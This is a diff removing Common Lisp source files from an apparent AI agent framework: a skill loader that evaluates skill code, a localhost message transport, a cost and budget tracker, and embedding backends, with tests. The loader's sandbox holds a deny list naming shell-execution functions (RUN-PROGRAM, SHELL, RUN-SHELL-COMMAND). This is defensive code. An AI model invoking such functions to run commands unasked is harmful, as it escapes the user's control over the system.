-(defun skill-source-scan (code-string)
-  "Scans CODE-STRING for restricted symbol references.
-Returns (values blocked-p matched-symbols)."
-  (let ((lower (string-downcase code-string))
-        (matches nil))
-    (dolist (pattern *skill-restricted-symbols*)
-      (when (search pattern lower)
-        (push pattern matches)))
-    (values (and matches t) (nreverse matches))))
-
-(defun load-skill-from-lisp (filepath)
-  "Loads a .lisp skill file directly, filtering out in-package forms."
-  (let* ((skill-base-name (pathname-name filepath))
-         (entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
-    (setf (skill-entry-status entry) :loading)
-    (handler-case
-        (let* ((content (skill-package-forms-strip (uiop:read-file-string filepath)))
-               (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
-          (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
-            (unless valid-p (error err)))
-          ;; Pre-eval sandbox scan: block before any code executes
-          (multiple-value-bind (blocked-p blocked-syms)
-              (skill-source-scan content)
-            (when blocked-p
-              (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
-                           skill-base-name blocked-syms)
-              (setf (skill-entry-status entry) :sandbox-blocked)
-              (return-from load-skill-from-lisp nil)))
-          (unless (find-package pkg-name)
-            (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
-          (let ((*read-eval* nil) (*package* (find-package pkg-name)))
-            (log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
-            (with-input-from-string (s content)
-              (loop for form = (read s nil :eof) until (eq form :eof)
-                     do (handler-case (eval form)
-                          (error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
-           (let* ((jailed-pkg (find-package pkg-name))
-                  (restricted '("RUN-PROGRAM" "SHELL" "RUN-SHELL-COMMAND"))
-                  (violation (loop for r in restricted
-                                   for sym = (find-symbol r :uiop)
-                                   when (and sym (fboundp sym)
-                                             (loop for skill-sym being the symbols of jailed-pkg
-                                                   when (and (fboundp skill-sym)
-                                                             (eq (symbol-function skill-sym)
-                                                                 (symbol-function sym)))
-                                                   return skill-sym))
-                                   collect (format nil "~a" sym))))
-             (when violation
-               (log-message "LOADER SANDBOX: Skill '~a' blocked — references restricted symbol(s): ~{~a~^, ~}"
-                            skill-base-name violation)
-               (setf (skill-entry-status entry) :sandbox-blocked)
-               (return-from load-skill-from-lisp nil))
-             (log-message "LOADER SANDBOX: Skill '~a' passed sandbox check" skill-base-name))
-           (let ((target-pkg (find-package :passepartout))
-                 (exported 0)
-                 (seen (make-hash-table :test 'equal)))
-             (do-symbols (sym (find-package pkg-name))
-               (when (and (eq (symbol-package sym) (find-package pkg-name))
-                          (or (fboundp sym) (boundp sym))
-                          (not (gethash (symbol-name sym) seen)))
-                 (setf (gethash (symbol-name sym) seen) t)
-                 (incf exported)
-                 (let ((existing (find-symbol (symbol-name sym) target-pkg)))
-                   (when existing (unintern existing target-pkg)))
-                 (import sym target-pkg)
-                 (ignore-errors (export sym target-pkg))))
-            (log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
-                         exported (package-name (find-package pkg-name))))
-          (setf (skill-entry-status entry) :ready))
-      (error (c)
-        (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
-        (setf (skill-entry-status entry) :failed) nil))))
-
-(defun skill-initialize-all ()
-  "Initializes all skills from the XDG data directory."
-  (let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
-         (skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir))))
-    (unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil))
-    (let ((sorted-files (skill-topological-sort skills-dir)))
-      (log-message "LOADER: Initializing ~a skills..." (length sorted-files))
-      (dolist (file sorted-files)
-        (if (uiop:string-suffix-p (namestring file) ".lisp")
-            (load-skill-from-lisp file)
-            (load-skill-from-org file)))
-      (log-message "LOADER: Boot Complete."))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-boot-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:boot-suite))
-
-(in-package :passepartout-boot-tests)
-
-(def-suite boot-suite :description "Verification of the Skill Engine loader")
-(in-suite boot-suite)
-
-(test test-topological-sort-basic
-  "Contract 2: dependency ordering puts dependencies before dependents."
-  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out "#+DEPENDS_ON: skill-b-id~%"))
-    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
-    (unwind-protect
-         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
-           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
-                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
-             (is (< pos-b pos-a))))
-       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
-
-(test test-lisp-syntax-validate-valid
-  "Contract 1: valid Lisp code passes syntax validation."
-  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
-
-(test test-lisp-syntax-validate-invalid
-  "Contract 1: unbalanced Lisp code fails syntax validation."
-  (is (null (lisp-syntax-validate "(+ 1 2"))))

lisp/core-transport.lisp

@@ -1,163 +0,0 @@
-(in-package :passepartout)
-
-(defun proto-get (plist key)
-  "Look up KEY in PLIST with case-insensitive keyword normalization."
-  (let ((key-upcase (string-upcase (string key))))
-    (loop for (k v) on plist by #'cddr
-          when (and (keywordp k)
-                    (string-equal (string k) key-upcase))
-            do (return v))))
-
-(defvar *actuator-registry* (make-hash-table :test 'equalp)
-  "Global registry mapping target keywords to their physical actuator functions.")
-
-(defun register-actuator (name fn) 
-  "Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
-  (let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
-    (setf (gethash key *actuator-registry*) fn)))
-
-(defun protocol-message-sanitize (msg)
-  "Recursively strips non-serializable objects from a protocol plist."
-  (if (and msg (listp msg))
-      (let ((clean nil))
-        (loop for (k v) on msg by #'cddr
-              do (unless (member k '(:reply-stream :socket :stream))
-                   (push k clean)
-                   (push (if (listp v) (protocol-message-sanitize v) v) clean)))
-        (nreverse clean))
-      msg))
-
-(defun frame-message (msg)
-  "Serializes a message plist and prefixes it with a 6-character hex length."
-  (let* ((sanitized (protocol-message-sanitize msg))
-         (payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
-         (len (length payload)))
-    (format nil "~6,'0x~a" len payload)))
-
-(defun read-framed-message (stream)
-  "Reads a hex-length prefixed S-expression from the stream securely."
-  (let ((length-buffer (make-string 6)))
-    (handler-case
-        (progn
-          (loop for char = (peek-char nil stream nil :eof)
-                for ws-count from 0
-                while (and (not (eq char :eof)) (< ws-count 4096)
-                           (member char '(#\Space #\Newline #\Tab #\Return)))
-                do (read-char stream))
-          (let ((count (read-sequence length-buffer stream)))
-            (if (< count 6)
-                :eof
-                (let ((len (ignore-errors (parse-integer length-buffer :radix 16))))
-                  (if (not len)
-                      :error
-                      (let ((msg-buffer (make-string len)))
-                        (read-sequence msg-buffer stream)
-                        (let ((*read-eval* nil))
-                          (handler-case (read-from-string msg-buffer)
-                            (error () :error)))))))))
-      (error () :error))))
-
-(defvar *daemon-socket* nil)
-
-(defun client-handle-connection (socket)
-  "Handles a single TUI/CLI client connection in a dedicated thread."
-  (let ((stream (usocket:socket-stream socket)))
-    (handler-case
-        (progn
-          (format stream "~a" (frame-message (make-hello-message "0.7.2")))
-          (finish-output stream)
-          (loop
-            (let ((msg (read-framed-message stream)))
-              (cond
-                ((eq msg :eof) (return))
-                ((eq msg :error) (return))
-                ((eq (getf msg :type) :health-check)
-                 (let ((health-msg (list :type :health-response 
-                                         :status (or (and (boundp 'passepartout::*system-health*) 
-                                                         (symbol-value 'passepartout::*system-health*))
-                                                     :unknown)
-                                         :checked-p (or (and (boundp 'passepartout::*health-check-ran*)
-                                                             (symbol-value 'passepartout::*health-check-ran*))
-                                                     nil))))
-                   (format stream "~a" (frame-message health-msg))
-                   (finish-output stream)))
-                (t (stimulus-inject msg :stream stream))))))
-      (error (c) (log-message "CLIENT ERROR: ~a" c)))
-    (ignore-errors (usocket:socket-close socket))))
-
-(defun start-daemon (&key (port 9105))
-  "Starts the network listener for TUI/CLI clients."
-  (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
-  (log-message "DAEMON: Listening on localhost:~a" port)
-  (bt:make-thread
-   (lambda ()
-     (loop
-       (let ((client-socket (usocket:socket-accept *daemon-socket*)))
-         (when client-socket
-           (bt:make-thread (lambda () (client-handle-connection client-socket))
-                          :name "passepartout-client-handler")))))
-   :name "passepartout-server-listener"))
-
-(defun make-hello-message (version)
-  "Constructs the standard HELLO handshake message."
-  (list :TYPE :EVENT 
-        :PAYLOAD (list :ACTION :handshake 
-                       :VERSION version 
-                       :CAPABILITIES '(:AUTH :ORG-AST))))
-
-(in-package :passepartout)
-
-(defun protocol-schema-validate (msg)
-  "Strict structural validation for incoming protocol messages."
-  (unless (listp msg) (error "Message must be a plist"))
-  (let ((type (proto-get msg :type)))
-    (unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS))
-      (error "Invalid message type '~a'" type))
-    t))
-
-(defun validate-communication-protocol-schema (msg)
-  "Backward-compatibility alias for protocol-schema-validate."
-  (protocol-schema-validate msg))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-communication-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:communication-protocol-suite))
-(in-package :passepartout-communication-tests)
-
-(def-suite communication-protocol-suite :description "Communication Protocol Suite")
-(in-suite communication-protocol-suite)
-
-(test test-framing
-  "Contract 1: frame-message produces correct hex length prefix."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
-         (framed (frame-message msg)))
-    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
-
-(test test-framing-round-trip
-  "Contract 3: frame → read-frame preserves message identity."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
-         (framed (frame-message msg))
-         (unframed (read-framed-message (make-string-input-stream framed))))
-    (is (equal msg unframed))))
-
-(test test-framing-empty-message
-  "Contract 1: simple messages frame with valid hex length."
-  (let* ((msg '(:type :ping))
-         (framed (frame-message msg)))
-    (is (> (length framed) 5))
-    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
-
-(test test-read-framed-message
-  "Contract 2: read-framed-message decodes a framed message correctly."
-  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
-         (framed (frame-message original))
-         (decoded (read-framed-message (make-string-input-stream framed))))
-    (is (equal original decoded))))
-
-(test test-read-framed-message-eof
-  "Contract 2: read-framed-message returns :eof on incomplete stream."
-  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
-    (is (eq :eof decoded))))

lisp/cost-tracker.lisp

@@ -1,190 +0,0 @@
-(in-package :passepartout)
-
-(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
-  "Session cost accumulator: (:total <float> :calls <int> :by-provider <alist>)")
-
-(defvar *session-cost-lock* (bordeaux-threads:make-lock "session-cost-lock")
-  "Lock protecting *session-cost* from concurrent updates.")
-
-(defun cost-track-call (provider prompt-text &optional response-text)
-  "Compute and accumulate the cost of a single LLM call.
-Returns the cost of this call in USD."
-  (let* ((input-tokens (if (fboundp 'count-tokens)
-                         (funcall (symbol-function 'count-tokens) (or prompt-text ""))
-                         (ceiling (length (or prompt-text "")) 4)))
-         (output-tokens (if (and response-text (fboundp 'count-tokens))
-                          (funcall (symbol-function 'count-tokens) response-text)
-                          0))
-         (total-tokens (+ input-tokens output-tokens))
-         (cost (provider-token-cost provider total-tokens)))
-    (bordeaux-threads:with-lock-held (*session-cost-lock*)
-      (incf (getf *session-cost* :total) cost)
-      (incf (getf *session-cost* :calls))
-      (let ((by-prov (getf *session-cost* :by-provider)))
-        (let ((entry (assoc provider by-prov)))
-          (if entry
-              (incf (cdr entry) cost)
-              (setf (getf *session-cost* :by-provider)
-                    (acons provider cost by-prov))))))
-    (log-message "COST TRACKER: ~a call: ~,4f USD (session total: ~,4f USD)"
-                 provider cost (getf *session-cost* :total))
-    cost))
-
-(defun cost-session-total ()
-  "Returns the current session's total cost in USD."
-  (bordeaux-threads:with-lock-held (*session-cost-lock*)
-    (getf *session-cost* :total)))
-
-(defun cost-session-calls ()
-  "Returns the total number of LLM calls in this session."
-  (bordeaux-threads:with-lock-held (*session-cost-lock*)
-    (getf *session-cost* :calls)))
-
-(defun cost-by-provider ()
-  "Returns an alist of (provider . total-cost) for this session."
-  (bordeaux-threads:with-lock-held (*session-cost-lock*)
-    (getf *session-cost* :by-provider)))
-
-(defun cost-session-summary ()
-  "Returns plist (:total <float> :calls <int> :by-provider <alist>)."
-  (bordeaux-threads:with-lock-held (*session-cost-lock*)
-    (list :total (getf *session-cost* :total)
-          :calls (getf *session-cost* :calls)
-          :by-provider (getf *session-cost* :by-provider))))
-
-(defun cost-session-reset ()
-  "Zeroes the session cost accumulator."
-  (bordeaux-threads:with-lock-held (*session-cost-lock*)
-    (setf (getf *session-cost* :total) 0.0)
-    (setf (getf *session-cost* :calls) 0)
-    (setf (getf *session-cost* :by-provider) nil)))
-
-(defun cost-format-budget-status (&optional (daily-budget nil))
-  "Returns a string for the TUI status bar showing session cost.
-If DAILY-BUDGET is provided, includes percentage of budget used."
-  (let* ((total (cost-session-total))
-         (calls (cost-session-calls))
-         (budget (or daily-budget
-                     (ignore-errors
-                       (parse-integer (uiop:getenv "COST_BUDGET_DAILY")))
-                     0))
-         (pct (if (> budget 0) (* 100.0 (/ total budget)) 0.0))
-         (status (cond
-                   ((= calls 0) "—")
-                   ((< pct 50) "OK")
-                   ((< pct 90) "WARN")
-                   (t "HIGH"))))
-    (if (> budget 0)
-        (format nil "[Cost: $~,2f (~,0f%) ~a]" total pct status)
-        (format nil "[Cost: $~,2f | ~d calls]" total calls))))
-
-(defun cost-track-backend-call (backend prompt-text &optional response-text)
-  "Track cost of a backend cascade call."
-  (cost-track-call backend prompt-text response-text))
-
-(defvar *session-budget*
-  (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
-  "Maximum USD to spend in this session. NIL means no limit.")
-
-(defun budget-remaining-usd ()
-  "Returns remaining budget in USD, or a large sentinel if unlimited."
-  (if *session-budget*
-      (let ((remaining (- *session-budget* (cost-session-total))))
-        (if (< remaining 0) 0.0 remaining))
-      most-positive-double-float))
-
-(defun budget-exhausted-p ()
-  "T if the session budget is set and fully consumed."
-  (and *session-budget* (<= (budget-remaining-usd) 0.0)))
-
-(defun budget-estimate-call (prompt-text)
-  "Estimate the dollar cost of a pending LLM call from its prompt text.
-Returns 0.0 if the tokenizer is not loaded (allows call through)."
-  (if (fboundp 'count-tokens)
-      (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
-             (cost (provider-token-cost (first *provider-cascade*) tokens)))
-        cost)
-      0.0))
-
-(defun budget-exhaustion-message ()
-  "Returns a user-facing plist explaining that the budget is spent."
-  (let ((total (cost-session-total))
-        (cap *session-budget*))
-    (list :TYPE :REQUEST
-          :PAYLOAD (list :ACTION :MESSAGE
-                         :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
-                                       total cap)
-                         :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-cost-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:cost-suite))
-
-(in-package :passepartout-cost-tests)
-
-(def-suite cost-suite :description "Cost tracking and budget management")
-(in-suite cost-suite)
-
-(test test-cost-track-call
-  "Contract 1: cost-track-call returns a positive number."
-  (cost-session-reset)
-  (let ((cost (cost-track-call :deepseek "hello world")))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-cost-session-total-accumulates
-  "Contract 2: session total grows with multiple calls."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :deepseek "world")
-  (let ((total (cost-session-total)))
-    (is (> total 0.0))
-    (is (= 2 (cost-session-calls)))))
-
-(test test-cost-session-reset
-  "Contract 3: cost-session-reset zeroes the accumulator."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (is (> (cost-session-total) 0.0))
-  (cost-session-reset)
-  (is (= 0.0 (cost-session-total)))
-  (is (= 0 (cost-session-calls))))
-
-(test test-cost-format-budget-status
-  "Contract 4: format-budget-status returns a string."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello world")
-  (let ((status (cost-format-budget-status 100)))
-    (is (stringp status))
-    (is (search "$" status))))
-
-(test test-cost-by-provider
-  "Contract: cost-by-provider returns per-provider breakdown."
-  (cost-session-reset)
-  (cost-track-call :deepseek "a")
-  (cost-track-call :groq "b")
-  (let ((by (cost-by-provider)))
-    (is (listp by))
-    (is (assoc :deepseek by))
-    (is (assoc :groq by))))
-
-(test test-cost-track-no-response
-  "Contract 1: cost-track-call works without response-text."
-  (cost-session-reset)
-  (let ((cost (cost-track-call :deepseek "test")))
-    (is (> cost 0.0))))
-
-(test test-cost-session-summary
-  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :groq "world")
-  (let ((s (cost-session-summary)))
-    (is (> (getf s :total) 0.0))
-    (is (= 2 (getf s :calls)))
-    (let ((by (getf s :by-provider)))
-      (is (assoc :deepseek by))
-      (is (assoc :groq by)))))

lisp/embedding-backends.lisp

@@ -1,242 +0,0 @@
-(in-package :passepartout)
-
-(defvar *embedding-provider* :trigram
-  "Active embedding provider: :trigram, :sha256, :local, :openai, :native.")
-
-(defvar *embedding-queue* nil
-  "Queue of text objects awaiting embedding.")
-
-(defvar *embedding-batch-size* 10
-  "Maximum texts per embedding API call.")
-
-(defun embedding-backend-local (text)
-  "Generate embeddings via a local OpenAI-compatible endpoint."
-  (let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
-         (model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
-         (body (cl-json:encode-json-to-string
-                `((model . ,model) (input . ,text)))))
-    (handler-case
-        (let* ((response (dex:post (format nil "~a/api/embeddings" url)
-                                   :headers '(("Content-Type" . "application/json"))
-                                   :content body :connect-timeout 5 :read-timeout 30))
-               (json (cl-json:decode-json-from-string response))
-               (data (car (cdr (assoc :data json)))))
-          (or (cdr (assoc :embedding data))
-              (list :error "No embedding in response")))
-      (error (c)
-        (list :error (format nil "Embedding failed: ~a" c))))))
-
-(defun embedding-backend-openai (text)
-  "Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
-  (let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
-         (base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
-         (model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
-         (body (cl-json:encode-json-to-string
-                `((model . ,model) (input . ,text)))))
-    (handler-case
-        (let* ((response (dex:post (format nil "~a/embeddings" base-url)
-                                    :headers `(("Content-Type" . "application/json")
-                                               ("Authorization" . ,(format nil "Bearer ~a" api-key)))
-                                    :content body :connect-timeout 5 :read-timeout 30))
-               (json (cl-json:decode-json-from-string response))
-               (data (car (cdr (assoc :data json)))))
-          (or (cdr (assoc :embedding data))
-              (list :error "No embedding in response")))
-      (error (c)
-        (list :error (format nil "OpenAI Embedding failed: ~a" c))))))
-
-(defun embedding-backend-sha256 (text)
-  "SHA-256 based vector — integrity only, no semantic retrieval capability.
-For environments where even trivial computation is undesirable."
-  (let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
-         (vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
-    (dotimes (i (min (length digest) 8))
-      (setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
-    vec))
-
-(defun embedding-backend-hashing (text)
-  "Backward-compatibility alias for SHA-256 hashing."
-  (embedding-backend-sha256 text))
-
-(defun embedding-backend-trigram (text)
-  "Trigram bloom filter — captures lexical overlap for semantic retrieval.
-Returns a 128-dim float vector where each position corresponds to a trigram hash.
-Pure Lisp, zero external dependencies, works fully offline."
-  (let* ((s (string-trim '(#\Space #\Newline #\Tab) (string-downcase text)))
-         (trigrams (make-hash-table :test 'equal))
-         (result (make-array 128 :element-type 'single-float :initial-element 0.0)))
-    (when (>= (length s) 3)
-      (loop for i from 0 to (- (length s) 3)
-            for tri = (subseq s i (+ i 3))
-            do (setf (gethash tri trigrams) t)))
-    (maphash (lambda (tri _) (declare (ignore _))
-               (setf (aref result (mod (sxhash tri) 128)) 1.0))
-             trigrams)
-    result))
-
-(defvar *embedding-backend* nil
-  "Explicit backend override (nil = use *embedding-provider*).")
-
-(defun embeddings-compute (text)
-  "Compute an embedding vector for text using the active backend."
-  (embed-object text))
-
-(defun embed-object (text)
-  "Embed a single text string using the active backend."
-  (let* ((selected (or *embedding-backend* *embedding-provider* :trigram))
-         (backend (case selected
-                    (:local #'embedding-backend-local)
-                    (:openai #'embedding-backend-openai)
-                    (:native
-                     (unless (fboundp 'embedding-backend-native)
-                       (embedding-native-ensure-loaded))
-                     #'embedding-backend-native)
-                    (:sha256 #'embedding-backend-sha256)
-                    (t #'embedding-backend-trigram))))
-    (if backend
-        (progn
-          (log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
-          (funcall backend text))
-        (progn
-          (log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
-          (embedding-backend-hashing text)))))
-
-(defun embed-queue-object (object)
-  "Queue a text object for async embedding."
-  (push object *embedding-queue*)
-  (log-message "EMBEDDING: Queued object"))
-
-(defun embed-all-pending ()
-  "Drain the embedding queue, store vectors in the store-keyed objects."
-  (let ((batch (nreverse *embedding-queue*)))
-    (setf *embedding-queue* nil)
-    (dolist (item batch)
-      (handler-case
-          (let ((id (getf item :id))
-                (text (getf item :text)))
-            (when (and id text)
-              (let ((vec (embeddings-compute text))
-                    (obj (gethash id *memory-store*)))
-                (when (and obj vec (not (listp vec)))
-                  (setf (memory-object-vector obj) vec))
-                (log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
-        (error (c)
-          (log-message "EMBEDDING: Failed to embed object: ~a" c))))))
-
-;; Apply env var override at load time
-(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
-  (when provider-env
-    (let ((kw (intern (string-upcase provider-env) :keyword)))
-      (setf *embedding-provider* kw)
-      (log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
-
-(defun embedding-native-ensure-loaded ()
-  "Lazy-load the native CFFI backend. First call blocks ~30s for model init."
-  (when (fboundp 'embedding-backend-native)
-    (return-from embedding-native-ensure-loaded t))
-  (let* ((data-dir (uiop:ensure-directory-pathname
-                    (or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
-                        (namestring (merge-pathnames ".local/share/passepartout/"
-                                                    (user-homedir-pathname))))))
-         (native-file (merge-pathnames "lisp/embedding-native.lisp" data-dir)))
-    (handler-case
-        (progn
-          (load native-file :verbose nil :print nil)
-          (log-message "EMBEDDING: Native backend loaded from ~a" native-file))
-      (error (c)
-        (error "Failed to load native embedding backend (~a): ~a" native-file c)))))
-
-;; Preload native model if configured at startup
-(when (eq *embedding-provider* :native)
-  (log-message "EMBEDDING: Native provider configured, preloading model...")
-  (embedding-native-ensure-loaded)
-  (handler-case
-      (progn
-        (embedding-native-load-model)
-        (log-message "EMBEDDING: Native model preloaded (~d dims)"
-                     (embedding-native-get-dim)))
-    (error (c)
-      (log-message "EMBEDDING: Preload deferred: ~a (will retry on first call)" c))))
-
-(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
-
-(defun mark-vector-stale (id &optional content)
-  "Mark a memory object's vector as :pending and queue it for re-embedding.
-When content is not supplied, reads from the object in *memory-store*."
-  (let* ((obj (gethash id *memory-store*))
-         (text (or content (and obj (memory-object-content obj)))))
-    (when obj
-      (setf (memory-object-vector obj) :pending))
-    (when text
-      (push (list :id id :text text) *embedding-queue*)
-      (log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
-    (or obj text)))
-
-(defskill :passepartout-embedding-backends
-  :priority 70
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-;; Register periodic batch embedding via cron (when orchestrator available)
-(when (fboundp 'orchestrator-register-cron)
-  (handler-case
-      (orchestrator-register-cron :embed-batch
-                                  "<2026-05-05 Tue +10m>"
-                                  'embed-all-pending
-                                  :reflex)
-    (error (c)
-      (log-message "EMBEDDING: Cron registration failed: ~a" c))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-embedding-tests
-  (:use :cl :passepartout)
-  (:export #:embedding-suite))
-
-(in-package :passepartout-embedding-tests)
-
-(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
-(fiveam:in-suite embedding-suite)
-
-(fiveam:test test-embedding-backend-hashing
-  "Contract 2: hashing backend produces 8-element float vector."
-  (let ((vec (embedding-backend-hashing "hello world")))
-    (fiveam:is (arrayp vec))
-    (fiveam:is (= 8 (length vec)))
-    (fiveam:is (every #'numberp (coerce vec 'list)))))
-
-(fiveam:test test-embedding-backend-hashing-deterministic
-  "Contract 2: same input produces same vector."
-  (let ((v1 (embedding-backend-hashing "test"))
-        (v2 (embedding-backend-hashing "test")))
-    (fiveam:is (equalp v1 v2))))
-
-(fiveam:test test-embeddings-compute
-  "Contract 1: embeddings-compute returns a float vector."
-  (let ((vec (embeddings-compute "some text")))
-    (fiveam:is (arrayp vec))
-    (fiveam:is (> (length vec) 0))))
-
-(fiveam:test test-embed-queue-and-drain
-  "Contract 3: embed-all-pending drains queue and stores vectors."
-  (let ((*embedding-queue* nil))
-    (embed-queue-object '(:id "test-obj" :text "sample text"))
-    (fiveam:is (= 1 (length *embedding-queue*)))
-    (embed-all-pending)
-    (fiveam:is (null *embedding-queue*))))
-
-(fiveam:test test-mark-vector-stale
-  "Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
-  (let ((*embedding-queue* nil))
-    ;; Create an object in memory with a vector
-    (let ((obj (make-memory-object :id "stale-test" :content "stale content"
-                                   :vector #(1.0 2.0 3.0))))
-      (setf (gethash "stale-test" *memory-store*) obj)
-      (mark-vector-stale "stale-test")
-      (fiveam:is (eq :pending (memory-object-vector obj)))
-      (fiveam:is (= 1 (length *embedding-queue*)))
-      (let ((item (first *embedding-queue*)))
-        (fiveam:is (string= "stale-test" (getf item :id)))
-        (fiveam:is (string= "stale content" (getf item :text))))
-      ;; Clean up
-      (remhash "stale-test" *memory-store*))))

lisp/embedding-native.lisp

@@ -1,228 +0,0 @@
-(unless (find-package :passepartout)
-  (make-package :passepartout :use '(:cl)))
-
-(in-package :passepartout)
-
-(cffi:define-foreign-library libllama_wrap (:unix "/usr/local/lib/libllama_wrap.so"))
-(cffi:use-foreign-library libllama_wrap)
-(cffi:define-foreign-library libllama (:unix "/usr/local/lib/libllama.so"))
-(cffi:use-foreign-library libllama)
-
-(cffi:defcstruct (llama-mparams :size 72)
-  (devices :pointer) (tensor-buft :pointer) (n-gpu-layers :int32)
-  (split-mode :int32) (main-gpu :int32) (_pad1 :int32)
-  (tensor-split :pointer) (progress-cb :pointer) (progress-data :pointer)
-  (kv-overrides :pointer) (vocab-only :bool) (use-mmap :bool)
-  (_pad2 :uint8 :count 6))
-
-(cffi:defcstruct (llama-cparams :size 136)
-  (n-ctx :uint32)
-  (n-batch :uint32)
-  (n-ubatch :uint32)
-  (n-seq-max :uint32)
-  (n-threads :int32)
-  (n-threads-batch :int32)
-  (rope-scaling-type :int32)
-  (pooling-type :int32)
-  (attention-type :int32)
-  (flash-attn-type :int32)
-  (rope-freq-base :float)
-  (rope-freq-scale :float)
-  (yarn-ext-factor :float)
-  (yarn-attn-factor :float)
-  (yarn-beta-fast :float)
-  (yarn-beta-slow :float)
-  (yarn-orig-ctx :uint32)
-  (defrag-thold :float)
-  (cb-eval :pointer)
-  (cb-eval-user-data :pointer)
-  (type-k :int32)
-  (type-v :int32)
-  (abort-callback :pointer)
-  (abort-callback-data :pointer)
-  (embeddings :bool)
-  (offload-kqv :bool)
-  (no-perf :bool)
-  (op-offload :bool)
-  (swa-full :bool)
-  (kv-unified :bool)
-  (_c-pad3 :uint8 :count 15))
-
-(cffi:defcstruct (llama-batch :size 56)
-  (n-tokens :int32) (_bpad1 :int32) (token :pointer) (embd :pointer)
-  (pos :pointer) (n-seq-id :pointer) (seq-id :pointer) (logits :pointer))
-
-;; llama.cpp public API
-(cffi:defcfun ("llama_backend_init" bl) :void)
-(cffi:defcfun ("llama_model_default_params" mdp) :void (p :pointer))
-(cffi:defcfun ("llama_context_default_params" cdp) :void (p :pointer))
-(cffi:defcfun ("llama_model_n_embd" ne) :int32 (m :pointer))
-(cffi:defcfun ("llama_model_get_vocab" gv) :pointer (m :pointer))
